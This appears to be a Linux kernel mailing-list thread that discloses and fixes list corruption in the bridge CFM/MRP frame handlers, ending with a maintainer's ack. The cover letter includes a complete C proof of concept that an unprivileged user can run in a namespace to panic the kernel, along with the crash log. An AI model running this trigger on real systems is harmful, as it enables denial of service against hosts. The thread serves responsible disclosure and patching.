[PATCH net v3 0/1] net: bridge: use option bits for CFM/MRP frame handlers

[PATCH net v3 0/1] net: bridge: use option bits for CFM/MRP frame handlers

[Zhiling Zou]

Hi Linux kernel maintainers,

We found and validated an issue in net/bridge/br_cfm.c and
net/bridge/br_mrp.c. The bug is reachable by a non-root user via user
and net namespace.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

CFM and MRP register a bridge frame handler when the first MEP or MRP
instance is created, and unregister it when the last instance is
deleted. The registered object is a single global br_frame_type, and it
also contains the hlist_node used by the per-bridge frame_type_list.

Because that object is global, enabling CFM or MRP on more than one
bridge inserts the same hlist_node into multiple bridge-local lists.
Unregistering the handler on one bridge then mutates list pointers that
still belong to another bridge. A later list walk or unregister on the
second bridge hits list corruption.

These handlers can only be installed once per bridge. Track their
per-bridge enable state with net_bridge option bits
(BROPT_CFM_ENABLED / BROPT_MRP_ENABLED), which already live on the Rx
hot cache line, and dispatch the matching handler directly from the
receive path when the EtherType and option bit match. Both bits are
checked together first as an unlikely case.

The generic frame_type_list and br_frame_type helpers are removed.
struct net_bridge shrinks by 8 bytes, and the checks compile out of the
fast path completely when CFM and MRP are disabled in .config.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <errno.h>
#include <linux/cfm_bridge.h>
#include <linux/if_bridge.h>
#include <linux/if_link.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void run(const char *cmd)
{
	if (system(cmd))
		die(cmd);
}

static void nla_put_u32(char **pp, uint16_t type, uint32_t val)
{
	struct nlattr *nla = (struct nlattr *)*pp;

	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + sizeof(val);
	memcpy(nla + 1, &val, sizeof(val));
	*pp += NLA_ALIGN(nla->nla_len);
}

static int nl_open(void)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };

	if (fd < 0)
		die("socket");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)))
		die("bind");
	return fd;
}

static void nl_talk(int fd, struct nlmsghdr *nlh)
{
	char rbuf[4096];
	struct nlmsghdr *r;
	ssize_t n;

	nlh->nlmsg_seq = 1;
	nlh->nlmsg_pid = 0;
	if (send(fd, nlh, nlh->nlmsg_len, 0) < 0)
		die("send");
	n = recv(fd, rbuf, sizeof(rbuf), 0);
	if (n < 0)
		die("recv");
	r = (struct nlmsghdr *)rbuf;
	if (r->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *err = NLMSG_DATA(r);

		if (err->error) {
			errno = -err->error;
			die("rtnetlink");
		}
	}
}

static void cfm_mep(int fd, int br_ifindex, int port_ifindex,
		    uint32_t instance, int create)
{
	char buf[512];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifi;
	struct nlattr *af, *cfm, *mep;
	char *p;

	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_SETLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_BRIDGE;
	ifi->ifi_index = br_ifindex;

	p = buf + NLMSG_ALIGN(nlh->nlmsg_len);
	af = (struct nlattr *)p;
	af->nla_type = IFLA_AF_SPEC | NLA_F_NESTED;
	p += NLA_HDRLEN;
	cfm = (struct nlattr *)p;
	cfm->nla_type = IFLA_BRIDGE_CFM | NLA_F_NESTED;
	p += NLA_HDRLEN;
	mep = (struct nlattr *)p;
	mep->nla_type = (create ? IFLA_BRIDGE_CFM_MEP_CREATE :
			 IFLA_BRIDGE_CFM_MEP_DELETE) | NLA_F_NESTED;
	p += NLA_HDRLEN;

	if (create) {
		nla_put_u32(&p, IFLA_BRIDGE_CFM_MEP_CREATE_INSTANCE, instance);
		nla_put_u32(&p, IFLA_BRIDGE_CFM_MEP_CREATE_DOMAIN, BR_CFM_PORT);
		nla_put_u32(&p, IFLA_BRIDGE_CFM_MEP_CREATE_DIRECTION,
			    BR_CFM_MEP_DIRECTION_DOWN);
		nla_put_u32(&p, IFLA_BRIDGE_CFM_MEP_CREATE_IFINDEX,
			    port_ifindex);
	} else {
		nla_put_u32(&p, IFLA_BRIDGE_CFM_MEP_DELETE_INSTANCE, instance);
	}

	mep->nla_len = p - (char *)mep;
	p = (char *)mep + NLA_ALIGN(mep->nla_len);
	cfm->nla_len = p - (char *)cfm;
	p = (char *)cfm + NLA_ALIGN(cfm->nla_len);
	af->nla_len = p - (char *)af;
	p = (char *)af + NLA_ALIGN(af->nla_len);
	nlh->nlmsg_len = p - buf;
	nl_talk(fd, nlh);
}

int main(void)
{
	int fd, br0, br1, n0, n1;

	run("ip link add br0 type bridge");
	run("ip link add br1 type bridge");
	run("ip link add n0 type dummy");
	run("ip link add n1 type dummy");
	run("ip link set n0 master br0");
	run("ip link set n1 master br1");
	run("ip link set br0 up");
	run("ip link set br1 up");
	run("ip link set n0 up");
	run("ip link set n1 up");

	br0 = if_nametoindex("br0");
	br1 = if_nametoindex("br1");
	n0 = if_nametoindex("n0");
	n1 = if_nametoindex("n1");
	if (!br0 || !br1 || !n0 || !n1)
		die("if_nametoindex");

	fd = nl_open();
	/* Link the same global cfm_frame_type into both bridges. */
	cfm_mep(fd, br0, n0, 1, 1);
	cfm_mep(fd, br1, n1, 1, 1);
	/* Unregister on br0; br1 still references the shared hlist_node. */
	cfm_mep(fd, br0, n0, 1, 0);
	/* Walk/unlink the corrupted list on br1. */
	cfm_mep(fd, br1, n1, 1, 0);

	close(fd);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  605.862227][T11347] Oops: general protection fault, probably for non-canonical address 0xfbd59c0000000024: 0000 [#1] SMP KASAN NOPTI
[  605.863199][T11347] KASAN: maybe wild-memory-access in range [0xdead000000000120-0xdead000000000127]
[  605.863982][T11347] CPU: 2 UID: 0 PID: 11347 Comm: poc Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[  605.864671][T11347] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  605.865353][T11347] RIP: 0010:br_del_frame+0xde/0x1a0
[  605.865815][T11347] Code: 00 fc ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 97 00 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 66 18 4c 89 e2 48 c1 ea 03 <80> 3c 02 00 0f 85 8a 00 00 00 49 89 1c 24 48 85 db 74 1f 48 b8 00
[  605.867084][T11347] RSP: 0018:ffa00000112af0e8 EFLAGS: 00010216
[  605.867509][T11347] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000
[  605.868023][T11347] RDX: 1bd5a00000000024 RSI: ffffffff9096cd20 RDI: ffffffff9096cd38
[  605.868566][T11347] RBP: ffa00000112af838 R08: 0000000000000001 R09: 0000000000000000
[  605.869092][T11347] R10: 0000000000000001 R11: 000000000000004f R12: dead000000000122
[  605.869634][T11347] R13: ff1100007e26adc0 R14: ff110000769f5e74 R15: ffa00000112af190
[  605.870157][T11347] FS:  00007f331cb69780(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  605.870743][T11347] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  605.871164][T11347] CR2: 00007fff61e74f8c CR3: 00000000775f2000 CR4: 0000000000751ef0
[  605.871722][T11347] PKRU: 55555554
[  605.871964][T11347] Call Trace:
[  605.872179][T11347]  <TASK>
[  605.872412][T11347]  br_cfm_mep_delete+0xa1/0x150
[  605.873260][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.873769][T11347]  br_cfm_parse+0x4c6/0x1210
[  605.874083][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.874460][T11347]  ? rcu_is_watching+0x12/0xc0
[  605.874819][T11347]  ? __pfx_br_cfm_parse+0x10/0x10
[  605.875153][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.875522][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.875868][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.876775][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.877122][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.877517][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.877886][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.878224][T11347]  br_afspec+0x3d4/0x5d0
[  605.878808][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.879185][T11347]  ? __pfx_br_afspec+0x10/0x10
[  605.879545][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.879921][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.880284][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.880620][T11347]  br_setlink+0x35d/0x500
[  605.880915][T11347]  ? __pfx_br_setlink+0x10/0x10
[  605.881256][T11347]  ? stack_depot_save_flags+0x29/0x9a0
[  605.882093][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.882510][T11347]  rtnl_bridge_setlink+0x297/0x5c0
[  605.883020][T11347]  rtnetlink_rcv_msg+0x2f7/0xb20
[  605.883349][T11347]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  605.883729][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.884101][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.884434][T11347]  netlink_rcv_skb+0x124/0x350
[  605.884812][T11347]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  605.885171][T11347]  ? __pfx_netlink_rcv_skb+0x10/0x10
[  605.885524][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.885932][T11347]  ? netlink_deliver_tap+0x14b/0xaa0
[  605.886418][T11347]  netlink_unicast+0x471/0x780
[  605.886744][T11347]  ? __pfx_netlink_unicast+0x10/0x10
[  605.887097][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.887463][T11347]  ? __check_object_size+0x468/0x600
[  605.888052][T11347]  netlink_sendmsg+0x75e/0xc40
[  605.888387][T11347]  ? __pfx_netlink_sendmsg+0x10/0x10
[  605.888757][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.889122][T11347]  ? __import_iovec+0x33d/0x5b0
[  605.889493][T11347]  ____sys_sendmsg+0x817/0xa20
[  605.889848][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.890216][T11347]  ? __pfx_____sys_sendmsg+0x10/0x10
[  605.890574][T11347]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[  605.890972][T11347]  ? __lock_acquire+0x45c/0x25f0
[  605.891307][T11347]  ___sys_sendmsg+0x104/0x190
[  605.891635][T11347]  ? __pfx____sys_sendmsg+0x10/0x10
[  605.891979][T11347]  ? find_held_lock+0x2b/0x80
[  605.892816][T11347]  ? __wake_up+0x44/0x60
[  605.893123][T11347]  __sys_sendmsg+0x124/0x1c0
[  605.893428][T11347]  ? __pfx___sys_sendmsg+0x10/0x10
[  605.893781][T11347]  ? srso_alias_return_thunk+0x5/0xfbef5
[  605.894155][T11347]  ? rcu_is_watching+0x12/0xc0
[  605.894480][T11347]  do_syscall_64+0x116/0xf80
[  605.894854][T11347]  ? irqentry_exit+0x117/0x830
[  605.895199][T11347]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  605.895588][T11347] RIP: 0033:0x7f331cbfb687
[  605.895922][T11347] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[  605.897193][T11347] RSP: 002b:00007fff61e74f30 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[  605.897758][T11347] RAX: ffffffffffffffda RBX: 00007f331cb69780 RCX: 00007f331cbfb687
[  605.898268][T11347] RDX: 0000000000000000 RSI: 00007fff61e74fc0 RDI: 0000000000000003
[  605.898787][T11347] RBP: 0000000000000003 R08: 0000000000000000 R09: 0000000000000000
[  605.899311][T11347] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000030
[  605.899842][T11347] R13: 00007fff61e75040 R14: 00007fff61e7606c R15: 00007fff61e76070
[  605.900371][T11347]  </TASK>
[  605.900580][T11347] Modules linked in:
[  605.901315][T11347] ---[ end trace 0000000000000000 ]---
[  605.904802][T11347] RIP: 0010:br_del_frame+0xde/0x1a0
[  605.905180][T11347] Code: 00 fc ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 97 00 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 66 18 4c 89 e2 48 c1 ea 03 <80> 3c 02 00 0f 85 8a 00 00 00 49 89 1c 24 48 85 db 74 1f 48 b8 00
[  605.906503][T11347] RSP: 0018:ffa00000112af0e8 EFLAGS: 00010216
[  605.906924][T11347] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000
[  605.907444][T11347] RDX: 1bd5a00000000024 RSI: ffffffff9096cd20 RDI: ffffffff9096cd38
[  605.907973][T11347] RBP: ffa00000112af838 R08: 0000000000000001 R09: 0000000000000000
[  605.908516][T11347] R10: 0000000000000001 R11: 000000000000004f R12: dead000000000122
[  605.909032][T11347] R13: ff1100007e26adc0 R14: ff110000769f5e74 R15: ffa00000112af190
[  605.909584][T11347] FS:  00007f331cb69780(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  605.910166][T11347] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  605.910614][T11347] CR2: 00007fff61e74f8c CR3: 00000000775f2000 CR4: 0000000000751ef0
[  605.911131][T11347] PKRU: 55555554
[  605.911363][T11347] Kernel panic - not syncing: Fatal exception
[  605.912674][T11347] Kernel Offset: disabled
[  605.912969][T11347] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  net: bridge: use option bits for CFM/MRP frame handlers

 net/bridge/br_cfm.c     | 11 +++--------
 net/bridge/br_device.c  |  1 -
 net/bridge/br_input.c   | 35 ++++++++++++++---------------------
 net/bridge/br_mrp.c     | 13 +++----------
 net/bridge/br_private.h | 26 +++++++++++++++-----------
 5 files changed, 35 insertions(+), 51 deletions(-)

-- 
2.43.0

[PATCH net v3 1/1] net: bridge: use option bits for CFM/MRP frame handlers

[Zhiling Zou]

CFM and MRP register a global br_frame_type whose hlist_node is linked
into the per-bridge frame_type_list when the first MEP/MRP instance is
created. Enabling the protocol on multiple bridges therefore inserts the
same node into multiple lists. Unregistering it on one bridge then
corrupts list state belonging to another.

These handlers can only be installed once per bridge, and they are
uncommon. Track their per-bridge enable state with net_bridge option
bits, which already live on the Rx hot cache line, and dispatch the
matching handler directly from the receive path. Check both bits
together first as an unlikely case.

Remove the generic frame_type_list and br_frame_type helpers, which
have had no other users since CFM and MRP were added. That shrinks
struct net_bridge by 8 bytes and drops the list walk from the fast
path. When neither protocol is compiled in, BR_CFM_MRP_OPTS is 0 and
the compiler prunes the branch.

Fixes: 90c628dd47ff ("net: bridge: extend the process of special frames")
Fixes: dc32cbb3dbd7 ("bridge: cfm: Kernel space implementation of CFM. CCM frame RX added.")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Suggested-by: Nikolay Aleksandrov <razor@blackwall.org>
Co-developed-by: Yilin Zhu <zylzyl2333@gmail.com>
Signed-off-by: Yilin Zhu <zylzyl2333@gmail.com>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v3:
- Always define BR_CFM_MRP_OPTS and keep the fast-path check
  unconditional. Read br->options with READ_ONCE().
- Drop CONFIG ifdefs around CFM/MRP dispatch. Provide header no-ops when
  the protocols are not compiled in so the compiler can prune them.
- v2 Link: https://lore.kernel.org/all/a43fdd12ad2fbb708c090dc4ead60f3e4aa8c0ac.1788159904.git.zhilinz@nebusec.ai/

changes in v2:
  - Replace the per-bridge br_frame_type object with net_bridge option
    bits.
  - Dispatch CFM/MRP handlers from the receive path. Check both option
    bits together first as an unlikely case.
  - Cover MRP, which has the same shared hlist_node bug.
  - Remove frame_type_list so CFM/MRP do not affect the fast path when
    they are disabled in .config.
  - v1 Link: https://lore.kernel.org/all/7198fe2845c30c60c6b3833dd78cead8c5966931.1778378864.git.zylzyl2333@gmail.com/

 net/bridge/br_cfm.c     | 11 +++--------
 net/bridge/br_device.c  |  1 -
 net/bridge/br_input.c   | 35 ++++++++++++++---------------------
 net/bridge/br_mrp.c     | 13 +++----------
 net/bridge/br_private.h | 26 +++++++++++++++-----------
 5 files changed, 35 insertions(+), 51 deletions(-)

diff --git a/net/bridge/br_cfm.c b/net/bridge/br_cfm.c
index dea56fffa1c19..9dcc97d63a6fc 100644
--- a/net/bridge/br_cfm.c
+++ b/net/bridge/br_cfm.c
@@ -367,7 +367,7 @@ static u32 ccm_tlv_extract(struct sk_buff *skb, u32 index,
 }
 
 /* note: already called with rcu_read_lock */
-static int br_cfm_frame_rx(struct net_bridge_port *port, struct sk_buff *skb)
+int br_cfm_frame_rx(struct net_bridge_port *port, struct sk_buff *skb)
 {
 	u32 mdlevel, interval, size, index, max;
 	const struct br_cfm_common_hdr *hdr;
@@ -489,11 +489,6 @@ static int br_cfm_frame_rx(struct net_bridge_port *port, struct sk_buff *skb)
 	return 1;
 }
 
-static struct br_frame_type cfm_frame_type __read_mostly = {
-	.type = cpu_to_be16(ETH_P_CFM),
-	.frame_handler = br_cfm_frame_rx,
-};
-
 int br_cfm_mep_create(struct net_bridge *br,
 		      const u32 instance,
 		      struct br_cfm_mep_create *const create,
@@ -559,7 +554,7 @@ int br_cfm_mep_create(struct net_bridge *br,
 	INIT_DELAYED_WORK(&mep->ccm_tx_dwork, ccm_tx_work_expired);
 
 	if (hlist_empty(&br->mep_list))
-		br_add_frame(br, &cfm_frame_type);
+		br_opt_toggle(br, BROPT_CFM_ENABLED, true);
 
 	hlist_add_tail_rcu(&mep->head, &br->mep_list);
 
@@ -588,7 +583,7 @@ static void mep_delete_implementation(struct net_bridge *br,
 	kfree_rcu(mep, rcu);
 
 	if (hlist_empty(&br->mep_list))
-		br_del_frame(br, &cfm_frame_type);
+		br_opt_toggle(br, BROPT_CFM_ENABLED, false);
 }
 
 int br_cfm_mep_delete(struct net_bridge *br,
diff --git a/net/bridge/br_device.c b/net/bridge/br_device.c
index ff55dab736326..e01c44a90d84b 100644
--- a/net/bridge/br_device.c
+++ b/net/bridge/br_device.c
@@ -503,7 +503,6 @@ void br_dev_setup(struct net_device *dev)
 	spin_lock_init(&br->lock);
 	INIT_LIST_HEAD(&br->port_list);
 	INIT_HLIST_HEAD(&br->fdb_list);
-	INIT_HLIST_HEAD(&br->frame_type_list);
 #if IS_ENABLED(CONFIG_BRIDGE_MRP)
 	INIT_HLIST_HEAD(&br->mrp_list);
 #endif
diff --git a/net/bridge/br_input.c b/net/bridge/br_input.c
index d87a5f9fa92b7..8bed72baf1615 100644
--- a/net/bridge/br_input.c
+++ b/net/bridge/br_input.c
@@ -317,17 +317,25 @@ static int nf_hook_bridge_pre(struct sk_buff *skb, struct sk_buff **pskb)
 	return RX_HANDLER_CONSUMED;
 }
 
+#define BR_CFM_MRP_OPTS \
+	((IS_ENABLED(CONFIG_BRIDGE_CFM) ? BIT(BROPT_CFM_ENABLED) : 0UL) | \
+	 (IS_ENABLED(CONFIG_BRIDGE_MRP) ? BIT(BROPT_MRP_ENABLED) : 0UL))
+
 /* Return 0 if the frame was not processed otherwise 1
  * note: already called with rcu_read_lock
  */
 static int br_process_frame_type(struct net_bridge_port *p,
 				 struct sk_buff *skb)
 {
-	struct br_frame_type *tmp;
+	struct net_bridge *br = p->br;
+
+	if (skb->protocol == htons(ETH_P_CFM) &&
+	    br_opt_get(br, BROPT_CFM_ENABLED))
+		return br_cfm_frame_rx(p, skb);
 
-	hlist_for_each_entry_rcu(tmp, &p->br->frame_type_list, list)
-		if (unlikely(tmp->type == skb->protocol))
-			return tmp->frame_handler(p, skb);
+	if (skb->protocol == htons(ETH_P_MRP) &&
+	    br_opt_get(br, BROPT_MRP_ENABLED))
+		return br_mrp_process(p, skb);
 
 	return 0;
 }
@@ -425,7 +433,8 @@ static rx_handler_result_t br_handle_frame(struct sk_buff **pskb)
 		}
 	}
 
-	if (unlikely(br_process_frame_type(p, skb)))
+	if (unlikely((READ_ONCE(p->br->options) & BR_CFM_MRP_OPTS) &&
+		     br_process_frame_type(p, skb)))
 		return RX_HANDLER_PASS;
 
 forward:
@@ -467,19 +476,3 @@ rx_handler_func_t *br_get_rx_handler(const struct net_device *dev)
 
 	return br_handle_frame;
 }
-
-void br_add_frame(struct net_bridge *br, struct br_frame_type *ft)
-{
-	hlist_add_head_rcu(&ft->list, &br->frame_type_list);
-}
-
-void br_del_frame(struct net_bridge *br, struct br_frame_type *ft)
-{
-	struct br_frame_type *tmp;
-
-	hlist_for_each_entry(tmp, &br->frame_type_list, list)
-		if (ft == tmp) {
-			hlist_del_rcu(&ft->list);
-			return;
-		}
-}
diff --git a/net/bridge/br_mrp.c b/net/bridge/br_mrp.c
index ef16d07039241..dce6efa96c4c6 100644
--- a/net/bridge/br_mrp.c
+++ b/net/bridge/br_mrp.c
@@ -6,13 +6,6 @@
 static const u8 mrp_test_dmac[ETH_ALEN] = { 0x1, 0x15, 0x4e, 0x0, 0x0, 0x1 };
 static const u8 mrp_in_test_dmac[ETH_ALEN] = { 0x1, 0x15, 0x4e, 0x0, 0x0, 0x3 };
 
-static int br_mrp_process(struct net_bridge_port *p, struct sk_buff *skb);
-
-static struct br_frame_type mrp_frame_type __read_mostly = {
-	.type = cpu_to_be16(ETH_P_MRP),
-	.frame_handler = br_mrp_process,
-};
-
 static bool br_mrp_is_ring_port(struct net_bridge_port *p_port,
 				struct net_bridge_port *s_port,
 				struct net_bridge_port *port)
@@ -486,7 +479,7 @@ static void br_mrp_del_impl(struct net_bridge *br, struct br_mrp *mrp)
 	kfree_rcu(mrp, rcu);
 
 	if (hlist_empty(&br->mrp_list))
-		br_del_frame(br, &mrp_frame_type);
+		br_opt_toggle(br, BROPT_MRP_ENABLED, false);
 }
 
 /* Adds a new MRP instance.
@@ -536,7 +529,7 @@ int br_mrp_add(struct net_bridge *br, struct br_mrp_instance *instance)
 	rcu_assign_pointer(mrp->s_port, p);
 
 	if (hlist_empty(&br->mrp_list))
-		br_add_frame(br, &mrp_frame_type);
+		br_opt_toggle(br, BROPT_MRP_ENABLED, true);
 
 	INIT_DELAYED_WORK(&mrp->test_work, br_mrp_test_work_expired);
 	INIT_DELAYED_WORK(&mrp->in_test_work, br_mrp_in_test_work_expired);
@@ -1241,7 +1234,7 @@ static int br_mrp_rcv(struct net_bridge_port *p,
  * normal forwarding.
  * note: already called with rcu_read_lock
  */
-static int br_mrp_process(struct net_bridge_port *p, struct sk_buff *skb)
+int br_mrp_process(struct net_bridge_port *p, struct sk_buff *skb)
 {
 	/* If there is no MRP instance do normal forwarding */
 	if (likely(!test_bit(BR_MRP_AWARE_BIT, &p->flags)))
diff --git a/net/bridge/br_private.h b/net/bridge/br_private.h
index d337b1cfb980d..b01997ea95089 100644
--- a/net/bridge/br_private.h
+++ b/net/bridge/br_private.h
@@ -495,12 +495,13 @@ enum net_bridge_opts {
 	BROPT_MST_ENABLED,
 	BROPT_MDB_OFFLOAD_FAIL_NOTIFICATION,
 	BROPT_FDB_LOCAL_VLAN_0,
+	BROPT_CFM_ENABLED,
+	BROPT_MRP_ENABLED,
 };
 
 struct net_bridge {
 	spinlock_t			lock;
 	spinlock_t			hash_lock;
-	struct hlist_head		frame_type_list;
 	struct net_device		*dev;
 	unsigned long			options;
 	/* These fields are accessed on each packet */
@@ -932,16 +933,6 @@ int nbp_backup_change(struct net_bridge_port *p, struct net_device *backup_dev);
 int br_handle_frame_finish(struct net *net, struct sock *sk, struct sk_buff *skb);
 rx_handler_func_t *br_get_rx_handler(const struct net_device *dev);
 
-struct br_frame_type {
-	__be16			type;
-	int			(*frame_handler)(struct net_bridge_port *port,
-						 struct sk_buff *skb);
-	struct hlist_node	list;
-};
-
-void br_add_frame(struct net_bridge *br, struct br_frame_type *ft);
-void br_del_frame(struct net_bridge *br, struct br_frame_type *ft);
-
 static inline bool br_rx_handler_check_rcu(const struct net_device *dev)
 {
 	return rcu_dereference(dev->rx_handler) == br_get_rx_handler(dev);
@@ -2080,6 +2071,7 @@ int br_mrp_parse(struct net_bridge *br, struct net_bridge_port *p,
 bool br_mrp_enabled(struct net_bridge *br);
 void br_mrp_port_del(struct net_bridge *br, struct net_bridge_port *p);
 int br_mrp_fill_info(struct sk_buff *skb, struct net_bridge *br);
+int br_mrp_process(struct net_bridge_port *p, struct sk_buff *skb);
 #else
 static inline int br_mrp_parse(struct net_bridge *br, struct net_bridge_port *p,
 			       struct nlattr *attr, int cmd,
@@ -2103,6 +2095,11 @@ static inline int br_mrp_fill_info(struct sk_buff *skb, struct net_bridge *br)
 	return 0;
 }
 
+static inline int br_mrp_process(struct net_bridge_port *p, struct sk_buff *skb)
+{
+	return 0;
+}
+
 #endif
 
 /* br_cfm.c */
@@ -2111,6 +2108,7 @@ int br_cfm_parse(struct net_bridge *br, struct net_bridge_port *p,
 		 struct nlattr *attr, int cmd, struct netlink_ext_ack *extack);
 bool br_cfm_created(struct net_bridge *br);
 void br_cfm_port_del(struct net_bridge *br, struct net_bridge_port *p);
+int br_cfm_frame_rx(struct net_bridge_port *port, struct sk_buff *skb);
 int br_cfm_config_fill_info(struct sk_buff *skb, struct net_bridge *br);
 int br_cfm_status_fill_info(struct sk_buff *skb,
 			    struct net_bridge *br,
@@ -2135,6 +2133,12 @@ static inline void br_cfm_port_del(struct net_bridge *br,
 {
 }
 
+static inline int br_cfm_frame_rx(struct net_bridge_port *port,
+				  struct sk_buff *skb)
+{
+	return 0;
+}
+
 static inline int br_cfm_config_fill_info(struct sk_buff *skb, struct net_bridge *br)
 {
 	return -EOPNOTSUPP;
-- 
2.43.0

Re: [PATCH net v3 1/1] net: bridge: use option bits for CFM/MRP frame handlers

[Nikolay Aleksandrov]

On 03/09/2026 09:56, Zhiling Zou wrote:
> CFM and MRP register a global br_frame_type whose hlist_node is linked
> into the per-bridge frame_type_list when the first MEP/MRP instance is
> created. Enabling the protocol on multiple bridges therefore inserts the
> same node into multiple lists. Unregistering it on one bridge then
> corrupts list state belonging to another.
> 
> These handlers can only be installed once per bridge, and they are
> uncommon. Track their per-bridge enable state with net_bridge option
> bits, which already live on the Rx hot cache line, and dispatch the
> matching handler directly from the receive path. Check both bits
> together first as an unlikely case.
> 
> Remove the generic frame_type_list and br_frame_type helpers, which
> have had no other users since CFM and MRP were added. That shrinks
> struct net_bridge by 8 bytes and drops the list walk from the fast
> path. When neither protocol is compiled in, BR_CFM_MRP_OPTS is 0 and
> the compiler prunes the branch.
> 
> Fixes: 90c628dd47ff ("net: bridge: extend the process of special frames")
> Fixes: dc32cbb3dbd7 ("bridge: cfm: Kernel space implementation of CFM. CCM frame RX added.")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Suggested-by: Nikolay Aleksandrov <razor@blackwall.org>
> Co-developed-by: Yilin Zhu <zylzyl2333@gmail.com>
> Signed-off-by: Yilin Zhu <zylzyl2333@gmail.com>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> changes in v3:
> - Always define BR_CFM_MRP_OPTS and keep the fast-path check
>    unconditional. Read br->options with READ_ONCE().
> - Drop CONFIG ifdefs around CFM/MRP dispatch. Provide header no-ops when
>    the protocols are not compiled in so the compiler can prune them.
> - v2 Link: https://lore.kernel.org/all/a43fdd12ad2fbb708c090dc4ead60f3e4aa8c0ac.1788159904.git.zhilinz@nebusec.ai/
> 
> changes in v2:
>    - Replace the per-bridge br_frame_type object with net_bridge option
>      bits.
>    - Dispatch CFM/MRP handlers from the receive path. Check both option
>      bits together first as an unlikely case.
>    - Cover MRP, which has the same shared hlist_node bug.
>    - Remove frame_type_list so CFM/MRP do not affect the fast path when
>      they are disabled in .config.
>    - v1 Link: https://lore.kernel.org/all/7198fe2845c30c60c6b3833dd78cead8c5966931.1778378864.git.zylzyl2333@gmail.com/
> 
>   net/bridge/br_cfm.c     | 11 +++--------
>   net/bridge/br_device.c  |  1 -
>   net/bridge/br_input.c   | 35 ++++++++++++++---------------------
>   net/bridge/br_mrp.c     | 13 +++----------
>   net/bridge/br_private.h | 26 +++++++++++++++-----------
>   5 files changed, 35 insertions(+), 51 deletions(-)
> 

Thank you for following up on this, the patch looks good to me.
Acked-by: Nikolay Aleksandrov <razor@blackwall.org>